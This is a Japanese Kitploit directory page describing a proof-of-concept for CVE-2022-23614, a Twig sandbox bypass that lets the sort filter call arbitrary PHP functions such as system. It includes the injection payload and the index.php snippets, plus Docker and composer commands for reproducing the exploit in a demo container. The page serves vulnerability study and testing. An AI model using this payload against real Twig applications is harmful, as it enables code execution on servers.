Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-23614 — CVE-2022-23614 (Twigのコマンドインジェクション)の概念実証 | Kitploit
ツール/GitHubGitHub/4rtamis/cve-2022-23614
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

CVE-2022-23614 (Twigのコマンドインジェクション)の概念実証

リポジトリを見る
13年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-23614

CVE-2022-23614 の概念実証 (PoC) で、DSA-5107-1 で参照されています。

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

説明

Twig は、PHP 向けの柔軟で高速かつ安全なテンプレートエンジンです。特に、レンダリング前にテンプレート内でフィルタを使用することが可能です。sort フィルタは、次のような構造で配列の要素をソートするために使用できます。

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig には、信頼できないテンプレートコードを評価するためのサンドボックスモードがあります。このサンドボックスモードでは、攻撃者が任意の PHP 関数を実行できるのを防ぐために、 sort フィルタの arrow パラメータはクロージャである必要があります。影響を受けるバージョンでは、この制約が適切に適用されておらず、任意の PHP コードのコードインジェクションにつながる可能性がありました。

root@kitploit:~
{{ ["id",""]|sort('system') }}

使用法

この PoC は、2 つの異なるユースケースで脆弱性を示しています:Debian の php-twig (v2.14.1) パッケージを使用するか、Composer の twig/twig (v2.14) モジュールを使用するかのいずれかです。

index.php ファイルは、最初の引数に基づいて Twig テンプレートを作成します。次のコードでは、argv[1] はレンダリング時に Twig が使用するソート関数の名前です。

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

次に、index.php は Twig の 2 つの非推奨関数を使用して生成されたテンプレートをロードします。最終的に、2 番目の引数 (argv[2]) を使用して、レンダリング中にテンプレートにデータを渡します。特に、ソートしたい args 配列です。

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

レンダリングされたテンプレートは標準出力に出力されます。

このリポジトリはデモンストレーション目的のみで作成されたことに注意してください。コマンドラインインターフェースのみを使用して CVE を試すために、理解しやすく使いやすいように設計されています。実際の脆弱なサーバーにあるものとはかなり異なります。

php-twig

Docker を使用して、元の Debian セキュリティ勧告 (DSA) のコンテキストを再現できます。付属の build-docker.sh スクリプトを使用して、脆弱なコンテナを適切にビルドして実行できます。

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

ペイロード (id コマンド) が実行されると、コンテナはシャットダウンするはずです。独自のコマンドを試したい場合は、コンテナをインタラクティブモードで実行できます:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

コンテナ内で、次のモデルを使用して独自のペイロードを作成できます:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

この Dockerfile は、DECRET を部分的に使用して作成されました。

Composer

マシンに PHP と Composer が既にインストールされている場合は、脆弱な Composer モジュールを使用してエクスプロイトを再現できます。

root@kitploit:~
cd exploit
composer install

その後、ペイロードを試すだけです。

root@kitploit:~
php index.php system '{"args":["id",""]}'

参考文献

CVE 詳細: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

パッチコミット: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

davwwwx による PoC (GUI 使用): https://github.com/davwwwx/CVE-2022-23614

ツールをダウンロード